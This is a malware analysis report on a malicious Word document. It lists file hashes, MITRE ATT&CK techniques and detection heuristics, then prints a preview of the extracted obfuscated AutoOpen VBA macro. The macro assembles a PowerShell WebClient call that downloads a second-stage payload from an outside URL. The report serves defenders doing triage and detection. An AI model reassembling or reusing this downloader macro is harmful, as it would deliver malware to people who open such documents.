Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 4fe9b38d2c32d0ee…

MALICIOUS

Office (OLE)

147.0 KB Created: 2017-12-05 12:43:00 Authoring application: Microsoft Office Word First seen: 2017-12-09
MD5: d4b7cfbcecd07831efccb631f1258259 SHA-1: c854f72915e3c9161d837fc95042ad85f538a166 SHA-256: 4fe9b38d2c32d0ee19d7be3c1a931b9448904aa72e888f40f43196e0b2207039
242 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample contains a VBA macro with an AutoOpen function that utilizes the Shell() function, indicating malicious intent. The macro attempts to download a second-stage payload from a constructed URL. The presence of the Shell() call and the AutoOpen macro strongly suggests this document is intended to deliver malware.

Heuristics 7

  • ClamAV: Doc.Macro.Obfuscation-6394109-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.Obfuscation-6394109-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 51930 bytes
SHA-256: 1ad49b0550cb7ae04e229184c395988002cc280aaf788c901b92d07e6e68ee10
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "ojrOcKhidXN"
Function LXBDJGzwiI()
FdiBZBBF = Array("fnAKMMHfKzu" + "LLDZMJs" + "vkDzpiDomUOd" + "oGhiOEj" + "XLcmKAUBk")
fwEsWZIu = Mid("UzPKfM+TkXssagTkX+TkXe;TkX+TkX}}T'+'kX).rePlACE(TkXTyUTkX,[stRing][Ch'+'aR]39shf+shf'+').rePlACE(([ChaR]112+[ChaR]shf+shf110+'+'[ChaR]52),[stRing][ChaR]92)shf+shf'+'.rePlACE(([CqDNBN2N", 7, 171)
jcVDcC = Array("oSLfblRfP" + "vBbiEvid" + "XHlboJzGdfEvjt" + "XGBZRmUiYRvXDV" + "hPMfFKDrXW")
CtVIbsFBwiq = Array("iikjukCViITsp" + "RBXEVrwFJVYZ" + "KfhjmBijwSH" + "wftabwiV" + "VIdPjtscVOIVJr")
dQImwvE = Array("PAlXBAjJFsp" + "zovzYwFpNjZM" + "klwqDltMtzXV" + "lzHjJZlP" + "DKaLasASfb")
CGXXFs = Mid("cSf+shfTkXpTkX+TkX'+'://TkX+TkXcTkshf+shfX+TkXuTkX+TkXaTkX+TkXlcrisisTkX+TkX.TkX+TkXcTkX+'+'TkXo'+'TkX+TkXm/boJ/,httshf+shfp:TkX+shf+'+'shfTkMkqR8C5DH", 3, 139)
JDrMN = Array("wYjrLCSjPsZLF" + "iZtDhpWDTGH" + "DcDzrnoDiCPn" + "rCZOXHin" + "npPSbCSsFZkZwp")
XFmiJvMEfnj = Array("lROjTCGwZE" + "YdNNHihazaWPh" + "QsLAMbTvwaUi" + "NHSppRNlwz" + "kRkFcwOC")
TazWzDcBBLi = Array("JKibaXlJVJrE" + "dsEkiEoZ" + "WkdOpdahaNK" + "hzjitoV" + "RmWdujEi")
bjBMurBm = Mid("tvach(oOPTkX+TkXabcTkX+TkX inTkX+TkX oOPTkX+TkXbcdshf+shfTkX+TkzSaH8vbw", 3, 61)
FbEiMrmrY = Array("zDKvvNdWdjnt" + "LUSjkjzUAT" + "wPvqNSwLSBaKwX" + "coqIPKTLGQnwNh" + "MwjPzfS")
XziqlHHlr = Array("SbdMjozzMhH" + "ojdtIwuXClPT" + "JjOzTGYvC" + "mhozJikj" + "NXcDskln")
cDzSBU = Array("tYNiKIUwLCRpZa" + "piRdbLpDUrP" + "oWPwWTwdjlE" + "WKmfZkisOvd" + "LZbnEVtqvij")
nEzDnJtIV = Mid("oLX'+'+TkXshf+shfrY9PfX8AMI", 4, 15)
zAjDwNc = Array("HchMJtaE" + "zsbinlbrMTwk" + "REIGvjfVPhSOo" + "ZaXuXFzmnii" + "rcBXRoaSKcDD")
OqzpGLwfPsW = Array("wFuVcwwDaoH" + "YJijJXPts" + "kzsJYLsNhriJ" + "TqNQRwaFXRKO" + "rJhXPnjNVwcSXm")
hPhiLCF = Array("ELALJElClzdLw" + "nSvsKAIm" + "bpazrnMSNaKQV" + "ZHMFOwKnj" + "liJkEdwjRUY")
SWCXsvjBV = Mid("rwV5GB+TkXaTkX+TkXs'+'TkX+TkX = oOPTkX+TkXnsTkX+TkXadshf+shfTkX+TkXasd.next'+'(TkX+Tshf+shfkX1, 3TkX+TkX432TkX+TkX45TkX+Tk0dWGBYOvSMT", 7, 116)
fXTEq = Array("MHQnPaKt" + "GwwSdNfivdUijJ" + "raWwtkztKPs" + "BWzUjQlRR" + "RjHRuXuScjzow")
HjQtmAilzWM = Array("jEtPZiQkms" + "CVkwutojn" + "wNNdbOj" + "dzAsEYHLzYf" + "wotLHPUfBm")
wUNfq = Array("wIoSrNnUHaWfPm" + "ciRWGCcWZE" + "okZPdTHYNkPK" + "IYnhOuzwosONPd" + "uWmONKYCurwCX")
mOKCDZoDUZs = Mid("4DZhXVKwe'+'Nv:pUBlIc[5]+Tshf+shfkXX'+'Tkshf+'+'shfX) ((Tk'+'RpsVZTSt", 7, 55)
jFFTL = Array("okPkqjlzQjG" + "sSKRLqju" + "AQHKUBWLt" + "crWMHoo" + "iNaPqrjAt")
psIvvPKjiM = Array("ZlMTSOhPuHfFj" + "sLBOqUiqwAzojV" + "pSrbHPHBuwPFf" + "ijIbYKiqiMD" + "imLWdiLW")
VEPlwjBrn = Array("MGFIEjD" + "TjwoUptjV" + "NWlkQTtj" + "OCvpCRtwPina" + "kJFzSzUXZ")
YUwpNb = Mid("daB770zwjL1RiNg()[1,3]+'x'-joiN'') ( ('& ( ci1ShElliD[1]+ci1SheLlid[13]+shfX'+'shf)(((shf. ( tKwENV:PuBLIC[13]+tGF", 12, 101)
GsIjDDHJu = Array("pndbkkJ" + "RaOwPURo" + "KLJzkfYvh" + "qXTltJWovf" + "oZZiQmpNTRuhQT")
FajwrYcJ = Array("YYDzPbqmPVwp" + "XtvXbtdwi" + "ulbfQBwOKoRX" + "zUdUZwXFU" + "vhFWZtiwmppJLn")
KdjvcUiRcCl = Array("OFzlHJRSAGsHAD" + "GirwfPhFwZazt" + "OFoiYlF" + "NakiPdSi" + "FouYisYbkhAwL")
iaXbm = Mid("YdwHSTSJI3SAzALU TkX+Tsh'+'f+shfkX+TkX+TkX TkX+Tshf+shfkXoTkX+TkXOPshf+shfkTkX+TkXaTkshf+shfX+'+'TkXrTkX+TkXapasTkX+TkX +TkX+'+'TkX TyTkX+TkXU.eTkshf+shfX+TkXxshf+shfTkX+TkXeshf+shfTkX+Tk19kCh3Nvd3lz1PiHO0fz", 16, 172)
jIjMfpoHG = Array("ZkTGnBvAcwCzYD" + "KdZqfzK" + "WVjrihbpJqY" + "LEwhuAh" + "ZXvFsliMkUH")
cmBAGZOU = Array("JXPlAEZbRkw" + "RLzzDmUlV" + "wijNQGoE" + "JBtaKzr" + "aPdXKaRaM")
TRLTdYPElPP = Array("qAjqkmnKnoJA" + "ZqGZCdJTMkcj" + "JztWQPAhw" + "EFFXrZOOSrz" + "CifPibOdQGHRd")
hTuSbdTbVqd = Mid("HvmVqmzB81jjFp7mY7wXoOPf'+'TkX+TkXrancTkX+TkX TkX+TkX= new-oTkX+TkXbTkX+TkXject System.NeTkX+TkXt.WTkX+Tshf+shfkXebClient;oshf+shfTkX'+'+TkXOPnTkX+shf+shfT'+'kXsTkX+TkXadaTkX+
... (truncated)

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